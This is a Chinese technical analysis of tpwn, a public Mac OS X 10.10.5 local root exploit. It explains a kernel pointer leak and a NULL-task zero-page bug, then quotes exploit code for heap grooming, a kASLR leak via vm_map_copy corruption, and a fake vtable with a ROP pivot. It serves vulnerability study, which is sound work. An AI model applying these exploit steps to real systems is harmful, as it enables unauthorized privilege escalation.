• 文章/ARTICLE
  • tpwn分析
  • 360NirvanTeam 2015-12-23 4446

  tpwn是@qwertyoruiop放出的本地提权的利用代码,利用了两个漏洞实现了Mac OS X 10.10.5以下版本系统的本地提权。本文将对这两个漏洞进行简单的分析,结合@qwertyoruiop的利用代码,阐述漏洞的利用方式,并一步步分析从信息泄露到最终实现本地权限提升的攻击过程。

 

一、漏洞分析

 


 

1. IOAudioEngineUserClient内核对象指针信息泄露

 

        IOAudioEngineUserClient的2号函数getConnectionID对this指针处理不当,导致对象地址信息泄露。代码如下:

IOReturn IOAudioEngineUserClient::getConnectionID(UInt32 *connectionID)
{
    audioDebugIOLog(3, "+-IOAudioEngineUserClient[%p]::getConnectionID(%p)\n", this, connectionID);

    *connectionID = (UInt32) (((UInt64)this >> 8) & 0x00000000FFFFFFFFLLU) ;
    return kIOReturnSuccess;
}

        对this指针右移8位,再与上0x00000000FFFFFFFF后,将值作为connectionID返回给用户空间程序。这么计算是为了避免地址信息泄露,但是并没有正确处理。内核对象的指针始终以0xFFFFFF为前缀,IOAudioEngineUserClient对象分配在zone.1024中,因此是以0x400为边界。右移8位只是抹去了最低8位的0,对于包含地址信息的位没有任何影响。例如,0xFFFFFFAAAACCCC00,进行上述计算后,得到的的connectionID为0xAAAACCCC,显然,在获取connectionID后,足够还原出原始的this指针信息。对应的还原操作为

connectionID <<= 8;
connectionID |= 0xFFFFFF0000000000;  //这样即可得到IOAudioEngineUserClient的对象指针

 

2. IOServiceOpen缺少参数校验

 

         IOServiceOpen调用过程在内核中缺少对于参数的检查,可导致Zero Page访问。

kern_return_t IOServiceOpen (
    io_service_t service,
    task_port_t owningTask,
    uint32_t    type,
    io_connect_t * connect)
{
    kern_return_t   kr;
    kern_return_t   result;

    kr = io_service_open_extended( service, owningTask, type, NDR_record, NULL, 0, &result, connect );

    if (KERN_SUCCESS == kr)
        kr = result;

    return (kr);
}

routine io_service_open_extended(
    service     : io_object_t;
    in  owningTask  : task_t;
    in  connect_type    : uint32_t;
    in  ndr     : NDR_record_t;
    in  properties  : io_buf_ptr_t, physicalcopy;
    out result      : kern_return_t;
    out connection  : io_connect_t
);

        IOServiceOpen通过MIG调用io_service_open_extended,用户空间传入了task_port_t (mach_port_t)类型的参数owningTask,内核空间得到的是task_t(struct task *)。由MIG进行由mach端口到内核类型的转换。参见/usr/include/mach/mach_types.defs。

type task_t = mach_port_t
#if KERNEL_SERVER
        intran:     task_t convert_port_to_task(mach_port_t)
        outtran:    mach_port_t convert_task_to_port(task_t)
        destructor:     task_deallocate(task_t)
#endif  /* KERNEL_SERVER */;

        convert_port_to_task代码见xnu/osfmk/kern/ipc_tt.c。

task_t convert_port_to_task(ipc_port_t port)
{
    task_t  task = TASK_NULL;

    if (IP_VALID(port)) {  //如果port类型非法,例如port=0,则不进if代码块
        ip_lock(port);
        if (ip_active(port) && ip_kotype(port) == IKOT_TASK) 
        {
            task = (task_t)port->ip_kobject;
            assert(task != TASK_NULL);
            task_reference_internal(task);
        }
        ip_unlock(port);
    }
    return (task); //port类型非法时,导致返回值为TASK_NULL
}

        io_service_open_extended对应的内核函数为is_io_service_open_extended,代码见xnu/iokit/Kernel/IOUserClient.cpp,传入的owningTask为TASK_NULL,并创建对应的UserClient。若UserClient对owningTask进行访问,就会导致Zero Page访问。

kern_return_t is_io_service_open_extended(io_object_t _service, task_t owningTask…){
    …
    res = service->newUserClient( owningTask, (void *) owningTask,
            connect_type, propertiesDict, &client );
    …
}

 

二、漏洞利用方法

 


        作者Luca Todesco在github上放出了tpwn提权利用的完整代码https://github.com/kpwn/tpwn。下面就来分析一下漏洞的利用过程。IOAudioEngineUserClient漏洞用于信息泄露,IOServiceOpen漏洞用于实现内核空间写。

 

1. 内核对象信息泄露

uint64_t leak_heap_ptr(io_connect_t* co) {
    io_connect_t conn = MACH_PORT_NULL;
    if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
        puts("failed");
        exit(-20);
    }
    uint64_t scalarO_64 = 0;
    uint32_t outputCount = 1;
    // 调用IOAudioEngineUserClient的2号函数,得到connectionID
    IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
    if (!scalarO_64) {
        puts("failed infoleaking");
        exit(-20);
    }
    scalarO_64 <<= 8;
    scalarO_64 |=  0xffffff0000000000;
    return  scalarO_64;
}

2. 内核空间写

        通过IOHDIXController,实现了内核空间任意地址或0x10。利用方法分析如下:通过IOServiceOpen创建IOHDIXController服务的UserClient,会调用IOHDIXControllerUserClient::initWithTask函数。在IDA中查看,会调用bsd_set_dependency_capable。

; __int64 __fastcall IOHDIXControllerUserClient::initWithTask(IOHDIXControllerUserClient *__hidden this, task *, void *, unsigned int)
    public __ZN26IOHDIXControllerUserClient12initWithTaskEP4taskPvj
__ZN26IOHDIXControllerUserClient12initWithTaskEP4taskPvj proc near
    push    rbp
    mov     rbp, rsp
    push    r14
    push    rbx
    mov     r14, rsi             ;rsi = owningTask, r14 = rsi
    mov     rbx, rdi
    mov     rax, cs:off_C060
    call    qword ptr [rax+8F8h]
    test    al, al
    jz      short loc_5A95
    mov     [rbx+1F8h], r14
    xor     edi, edi
    call    _vfs_context_create
    mov     [rbx+200h], rax
    mov     rdi, r14             ;rdi = r14
    <span style="color: #ff0000;">call    _bsd_set_dependency_capable ; bsd_set_dependency_capable(owningTask)</span>
    mov     al, 1
    jmp     short loc_5A97
    xor     eax, eax
    pop     rbx
    pop     r14
    pop     rbp
    retn
__ZN26IOHDIXControllerUserClient12initWithTaskEP4taskPvj endp

        bsd_set_dependency_capable代码如下,会获取task_t结构体中的bsd_info字段,再将其p_flag字段与P_DEPENDENCY_CAPABLE(0x00100000)相或。

void bsd_set_dependency_capable(task_t task)
{
    proc_t p = get_bsdtask_info(task);

    if (p) {
        OSBitOrAtomic(P_DEPENDENCY_CAPABLE, &p->p_flag);
    }
}

        在x86_64平台上,bsd_info字段位于task + 768处。bsd_info为struct proc类型,p_flag位于bsd_info+352处。

[1104] (struct) task {
…
+ 760,[   8] (zinfo_usage_t) tkm_zinfo
+ 768,[   8] (void *) bsd_info
+ 776,[   8] (vm_shared_region *) shared_region
…
}

[1200] (struct) proc {
…
+ 344,[   8] (plimit *) p_olimit   *** Possible memory hole ***
+ 352,[   4] (unsigned int) p_flag
+ 356,[   4] (unsigned int) p_lflag
…
}

        因此,若task为NULL,task->bsd_info就会从0+768偏移处取出值p,再进行解引用,对地址为p+352的值或0x00100000,即可看做是对p+354地址处的值或0x10。由于Zero Page中的内容可控(32位进程不限制Zero Page的映射),即p可控,因此可以实现任意地址或0x10。

 

三、提权过程分析

 


完整的利用过程可以分为三个阶段:泄露kASLR偏移、控制RIP、ROP进行提权。

 

1. 泄露kASLR偏移

 

(1)堆风水,利用IOAudioEngineUserClient对象进行堆风水,使用的是zone.1024。

again:;
    int maxt = 10;
    while (maxt--) {
        if (heap_info[maxt+2].connect) {
            IOServiceClose(heap_info[maxt+2].connect);
            heap_info[maxt+2].connect=0;
        }
    }
    maxt = 10;
    while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
    while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
        if (heap_info[1].kobject == 1024+heap_info[0].kobject) {  //两个对象相邻
            break;
        }
        if (maxt == 0) {
            goto again;
        }
        maxt--;
        heap_info[maxt+2].connect=heap_info[1].connect;
        heap_info[1].connect=0;
    };
    
    if (!heap_info[1].connect || !heap_info[0].connect) {
        exit(-3);
    }

    IOServiceClose(heap_info[0].connect); //释放低地址上的对象

(2)利用OOL Msg占位

DO_TIMES(ALLOCS) {
    send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port)); //占用1024字节
}

(3)利用内核地址写来修改OOL Msg的vm_map_copy结构体以及Msg的内容。修改vm_map_copy中的size字段,由于size原值为0x3A8, size |= 0x10 —> size = 0x3B8,因此可以实现越界读,读取高地址处的对象的前16字节,包含虚表指针,这样就能计算出kASLR。

    or_everywhere(heap_info[0].kobject + 16); // size |= 0x10
    or_everywhere(heap_info[0].kobject + 500);

 

2. 内核地址写转化为任意代码执行(内核地址写)

 

(1)利用内核地址写修改IOAudioEngineUserClient对象的内部成员变量

class IOAudioEngineUserClient : public IOUserClient
{
…
protected:
    IOAudioEngine   *audioEngine;
    …
    IOAudioClientBufferSet  *clientBufferSetList; //kobject + 0x208
    IORecursiveLock         *clientBufferLock;
    IOAudioNotificationMessage  *notificationMessage;
    bool                online;   //kobject + 0x220
…
}

exp对应的利用代码如下:

    or_everywhere(heap_info[1].kobject+0x220); // set online = 0x10
    or_everywhere(heap_info[1].kobject+0x208); // set userbuffer = 0x10 (!= NULL)
    alloc(0, 0x1000);
    volatile uint64_t* mp = (uint64_t*) 0x10;
    mp[0] = (uint64_t)0;          
    mp[1] = (uint64_t)vtable;     //fake userClient vtable
    mp[2] = (uint64_t)&mp[1];     //fake userClient pointer
    uint64_t xn = IOConnectRelease((io_connect_t)heap_info[1].connect); //释放对象

clientBufferSetList对象指针指向了地址0x10,结合源码中的IOAudioClientBufferSet类定义

class IOAudioClientBufferSet : public OSObject
{
    OSDeclareDefaultStructors(IOAudioClientBufferSet);

public:
    UInt32  bufferSetID;
    IOAudioEngineUserClient *userClient;
…
}

加上虚表指针,OSObject中的retainCount变量,按位置进行对应后,可以发现mp[2]对应userClient指针变量,即userClient = &mp[1] = 0x18。

 

(2)代码执行

        这时,调用IOConnectRelease释放修改后的IOAudioEngineUserClient对象,在内核中会调用IOAudioEngineUserClient::stopClient(),代码如下:  

IOReturn IOAudioEngineUserClient::stopClient()
{
    IOReturn result = kIOReturnSuccess;
    …
    if (isOnline()) {  //判断online变量,因此之前才需要利用内核写来设置online值
        IOAudioClientBufferSet *bufferSet;
        
        lockBuffers();
        
        bufferSet = clientBufferSetList; // bufferSet = 0x10
        while (bufferSet) {
            IOAudioClientBuffer64 *clientBuffer;
            
            bufferSet->cancelWatchdogTimer();
    …
}

void IOAudioClientBufferSet::cancelWatchdogTimer()
{
…
    if (NULL != userClient) { // userClient = 0x18
        userClient->retain(); //call qword ptr [rax + 0x20],rax = vtable
        userClient->lockBuffers();
        if (timerPending) {
            timerPending = false;
            if (thread_call_cancel(watchdogThreadCall))
                release();
        }
        userClient->unlockBuffers();
        userClient->release();
    }
…
}

可以看到,userClient->retain()会调用我们自己构造的vtable + 0x20处的函数。vtable构造如下:

    vtable[0] = 0;
    vtable[1] = 0;
    vtable[2] = 0;
    vtable[3] = ROP_POP_RAX(mapping_kernel);
    vtable[4] = ROP_PIVOT_RAX(mapping_kernel); //userClient->retain()
    vtable[5] = ROP_POP_RAX(mapping_kernel);
    vtable[6] = 0;
    vtable[7] = ROP_POP_RSP(mapping_kernel);
    vtable[8] = (uint64_t)stack->__rop_chain;    //__rop_chain -> rsp, into rop chain

这样,rsp = rax = vtable,最终进入stack->__rop_chain,执行提权的ROP Chain。ROP Chain要执行的代码就包括修复UserClient、设置uid等等,最后通过_thread_exception_return返回到用户空间,成功提权。

  

References

 


1. 作者博客:http://blog.qwertyoruiop.com/?p=69

2. IOAudioFamily源码: http://www.opensource.apple.com/source/IOAudioFamily/IOAudioFamily-203.3/

3. XNU源码:http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/